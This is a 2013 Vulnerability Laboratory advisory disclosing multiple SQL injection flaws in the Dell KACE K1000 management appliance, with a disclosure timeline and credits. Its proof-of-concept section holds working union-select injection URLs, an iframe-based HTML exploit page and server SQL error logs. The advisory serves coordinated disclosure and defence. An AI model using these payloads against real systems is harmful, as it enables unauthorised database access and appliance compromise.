273 lines
No EOL
11 KiB
Text
273 lines
No EOL
11 KiB
Text
Title:
|
||
======
|
||
Dell Kace 1000 SMA 5.4.742 - SQL Injection Vulnerabilities
|
||
|
||
|
||
Date:
|
||
=====
|
||
2013-07-22
|
||
|
||
|
||
References:
|
||
===========
|
||
http://www.vulnerability-lab.com/get_content.php?id=832
|
||
|
||
|
||
VL-ID:
|
||
=====
|
||
832
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
7.5
|
||
|
||
|
||
Introduction:
|
||
=============
|
||
Dell KACE is to provide an appliance-based approach to systems management, to create time for systems administration professionals,
|
||
while saving money for their companies. Dell KACE Systems Management Appliances are available as both physical and virtual appliances.
|
||
|
||
The KACE Management Appliance delivers a fully integrated systems management solution, unlike traditional software approaches that
|
||
can require complex and time-consuming deployment and maintenance. KACE accomplishes this via an extremely flexible, intelligent
|
||
appliance-based architecture that typically deploys in days and is self maintaining. The KACE Management Appliance also provides
|
||
direct access to time-saving ITNinja systems management community information using AppDeploy Live, the leading destination for end
|
||
point administrators. The result: Comprehensive systems management that is easy-to-use and that can be more economical than software
|
||
only alternatives. Read more in the white paper KACE K1000 Management Appliance Architecture: Harnessing the Power of an
|
||
Appliance-based Architecture. The KACE Management Appliance is designed for enterprises and business units with up to 20,000 nodes.
|
||
|
||
(Copy of the Vendor Homepage: http://www.kace.com/products/systems-management-appliance )
|
||
|
||
|
||
Abstract:
|
||
=========
|
||
The Vulnerability Laboratory Research Team discovered a SQL Injection web vulnerabilities in Dell Kace K1000, Systems Management Appliance.
|
||
|
||
|
||
Report-Timeline:
|
||
================
|
||
2013-01-24: Researcher Notification & Coordination (Ibrahim Mosaad El-Sayed)
|
||
2013-02-06: Vendor Notification (Dell Security Team)
|
||
2013-02-08: Vendor Response/Feedback (Dell Security Team)
|
||
2013-**-**: Vendor Fix/Patch (Dell Security Team)
|
||
2013-07-22: Public Disclosure (Vulnerability Laboratory)
|
||
|
||
|
||
Status:
|
||
========
|
||
Published
|
||
|
||
|
||
Affected Products:
|
||
==================
|
||
DELL
|
||
Product: Kace K1000 SMA 5.4.70402
|
||
|
||
|
||
Exploitation-Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity:
|
||
=========
|
||
Critical
|
||
|
||
|
||
Details:
|
||
========
|
||
Multiple SQL Injection vulnerabilities are detected in the Dell Kace K1000, Systems Management Appliance Application.
|
||
A SQL Injection vulnerability allows an attacker (remote) to execute/inject SQL commands in the affected application dbms.
|
||
|
||
The sql injection vulnerabilities are located in the history_log.php, service.php, software.php, settings_network_scan.php,
|
||
asset.php, asset_type.php, metering.php and mi.php files. All files are located in the adminui. A remote attacker is able
|
||
to inject own sql commands when processing to request the vulnerable TYPE_ID and ID parameters.
|
||
|
||
Exploitation of the sql injection vulnerabilities requires no or a low privilege application user account and no user interaction.
|
||
Successful exploitation of the vulnerability results in database management system & application compromise via remote sql injection attack.
|
||
|
||
|
||
Vulnerable Module(s):
|
||
[+] adminui
|
||
|
||
Vulnerable File(s):
|
||
[+] history_log.php
|
||
[+] service.php
|
||
[+] software.php
|
||
[+] settings_network_scan.php
|
||
[+] asset.php
|
||
[+] asset_type.php
|
||
[+] metering.php
|
||
[+] mi.php
|
||
[+] replshare.php
|
||
[+] kbot.php
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] TYPE_ID
|
||
[+] ID
|
||
|
||
|
||
Proof of Concept:
|
||
=================
|
||
The SQL injection vulnerabilities can be exploited by remote attackers without privileged application user account and without required user interaction.
|
||
For demonstration or reproduce ...
|
||
|
||
1.1
|
||
PoC:
|
||
https://pub37.137.0.0.1:8080/adminui/history_log.php?HISTORY_TYPE=ASSET&TYPE_NAME=Computer&TYPE_ID=7+union+Select+1,2,3,4,5,6,version%28%29,8,9,10,11,12--%20-
|
||
|
||
1.2
|
||
PoC:
|
||
https://pub37.137.0.0.1:8080/adminui/service.php?ID=-1211+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--%20-
|
||
|
||
1.3
|
||
https://pub37.137.0.0.1:8080/adminui/software.php?ID=1291+[SQL-INJECTION!]--
|
||
|
||
Exploit:
|
||
|
||
<html>
|
||
<head><body><title>Dell Kace 1000 SMA v5.4.70402 - SQL Injection Exploit</title>
|
||
<iframe src=https://pub37.137.0.0.1:8080/adminui/history_log.php?HISTORY_TYPE=ASSET&TYPE_NAME=Computer&TYPE_ID=7+union+Select+1,2,3,4,5,
|
||
6,version%28%29,8,9,10,11,12--%20- width="600" height"600"><br><iframe src=https://pub37.137.0.0.1:8080/adminui/service.php?ID=-1211+
|
||
union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--%20- width="600" height"600"><br><iframe src=
|
||
https://pub37.137.0.0.1:8080/adminui/software.php?ID=1291+[SQL-INJECTION!]-- width="600" height"600"><br>
|
||
</body></head>
|
||
</html>
|
||
|
||
--- SQL Exception Error Log ---
|
||
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/adminui/software.php on line 95:
|
||
mysql error: [1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
|
||
version for the right syntax to use near ''1291''' at line 1] in EXECUTE("select OS_ID from SOFTWARE_OS_JT where SOFTWARE_ID = '1291''")
|
||
|
||
1.4
|
||
PoC:
|
||
https://pub37.137.0.0.1:8080/adminui/settings_network_scan.php?ID=2+[SQL-INJECTION!]--%20-
|
||
|
||
--- SQL Exception Error Log ---
|
||
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/adminui/settings_network_scan.php on line 54:
|
||
mysql error: [1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
|
||
right syntax to use near ''' at line 1]
|
||
in EXECUTE("select * from SCAN_SETTINGS where ID = 2'")
|
||
|
||
1.5
|
||
PoC:
|
||
https://pub37.137.0.0.1:8080/adminui/asset.php?ID=2+[SQL-INJECTION!]--%20-
|
||
|
||
--- SQL Exception Error Log ---
|
||
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/include/Asset.class.php on line 61: mysql error:
|
||
[1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
|
||
right syntax to use near ''' at line 3]
|
||
in EXECUTE("select *, DATE_FORMAT(CREATED,'%b %d %Y %I:%i:%s %p') as CREATED,
|
||
DATE_FORMAT(MODIFIED,'%b %d %Y %I:%i:%s %p') as MODIFIED
|
||
from ASSET where ID = 2'")
|
||
|
||
1.6
|
||
PoC:
|
||
https://pub37.137.0.0.1:8080/adminui/asset_type.php?ID=5+[SQL-INJECTION!]--%20-
|
||
|
||
--- SQL Exception Error Log ---
|
||
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/include/AssetType.class.php on line 62: mysql error:
|
||
[1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
|
||
right syntax to use near ''5''' at line 1]
|
||
in EXECUTE("select * from ASSET_TYPE where ID = '5''")
|
||
|
||
1.7
|
||
PoC:
|
||
https://pub37.137.0.0.1:8080/adminui/metering.php?ID=11+[SQL-INJECTION!]--%20-&MONTHS=1
|
||
|
||
--- SQL Exception Error Log ---
|
||
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/adminui/metering.php on line 65: mysql error:
|
||
[1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
|
||
right syntax to use near ''' at line 2]
|
||
in EXECUTE("select LABEL_ID from FS_LABEL_JT
|
||
where FS_ID =11'")
|
||
|
||
1.8
|
||
PoC:
|
||
https://pub37.137.0.0.1:8080/adminui/mi.php?ID=5
|
||
|
||
--- SQL Exception Error Log ---
|
||
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/adminui/mi.php on line 350: mysql error:
|
||
[1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
|
||
right syntax to use near 'hidden')))' at line 4]
|
||
in EXECUTE("select ID,NAME from MACHINE
|
||
WHERE ID in ( Select MACHINE_ID from MACHINE_LABEL_JT
|
||
where LABEL_ID in ( Select LABEL_ID from MI_LABEL_JT
|
||
where MI_ID = '5'' and LABEL_ID in
|
||
(select ID from LABEL where TYPE='hidden')))")
|
||
|
||
1.9
|
||
PoC:
|
||
https://pub37.137.0.0.1:8080/adminui/replshare.php?ID=1+[SQL-INJECTION!]--%20-
|
||
|
||
--- SQL Exception Error Log ---
|
||
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/include/ReplShare.class.php on line 20: mysql error:
|
||
[1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
|
||
right syntax to use near ''' at line 2]
|
||
in EXECUTE("select * from REPLICATION_SHARE where ID=1'")
|
||
|
||
1.10
|
||
PoC:
|
||
https://pub37.137.0.0.1:8080/adminui/kbot.php?ID=20+[SQL-INJECTION!]--%20-
|
||
|
||
--- SQL Exception Error Log ---
|
||
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/include/KBot.class.php on line 183: mysql error:
|
||
[1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
|
||
right syntax to use near ''20''' at line 15]
|
||
in EXECUTE("select k.*, DATE_FORMAT(k.CREATED,'%b %d %Y %I:%i:%s %p'), DATE_FORMAT(k.MODIFIED,'%b %d %Y %I:%i:%s %p'),
|
||
unix_timestamp(k.MODIFIED) as MODIFIED_TMSTAMP,
|
||
unix_timestamp(k.CREATED) as CREATED_TMSTAMP,
|
||
f.ID as FORM_ID, f.FORM_URL, f.FORM_NAME,
|
||
s.SCRIPT_TEXT, s.FILE_NAME, s.CHECKSUM, s.TIMEOUT,
|
||
s.REMOVE_FILES, s.UPLOAD_FILE, s.UPLOAD_FILE_PATH, s.UPLOAD_FILE_NAME,
|
||
k.RUN_AS_USR, k.RUN_AS_PASS_ENC,
|
||
k.ALERT_ENABLED, k.ALERT_DIALOG_OPTIONS,
|
||
k.ALERT_DIALOG_TIMEOUT, k.ALERT_DIALOG_TIMEOUT_ACTION, k.ALERT_SNOOZE_DURATION, k.ALERT_MESSAGE
|
||
from KBOT k
|
||
left join KBOT_FORM f
|
||
on k.ID = f.KBOT_ID
|
||
left join KBOT_SHELL_SCRIPT s
|
||
on k.ID = s.KBOT_ID
|
||
where k.ID = '20''")
|
||
|
||
|
||
Risk:
|
||
=====
|
||
The security risk of the remote sql injection web vulnerabilities are estimated as critical.
|
||
|
||
|
||
Credits:
|
||
========
|
||
Vulnerability Laboratory [Research Team] - Ibrahim El-Sayed (the_storm) ibrahim@evolution-sec.com]
|
||
|
||
|
||
Disclaimer:
|
||
===========
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
|
||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
||
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
||
or trade with fraud/stolen material.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
||
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
||
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
|
||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
||
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
||
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
|
||
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
||
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
||
|
||
Copyright <20> 2013 | Vulnerability Laboratory [Evolution Security]
|
||
|
||
|
||
|
||
--
|
||
VULNERABILITY LABORATORY RESEARCH TEAM
|
||
DOMAIN: www.vulnerability-lab.com
|
||
CONTACT: research@vulnerability-lab.com |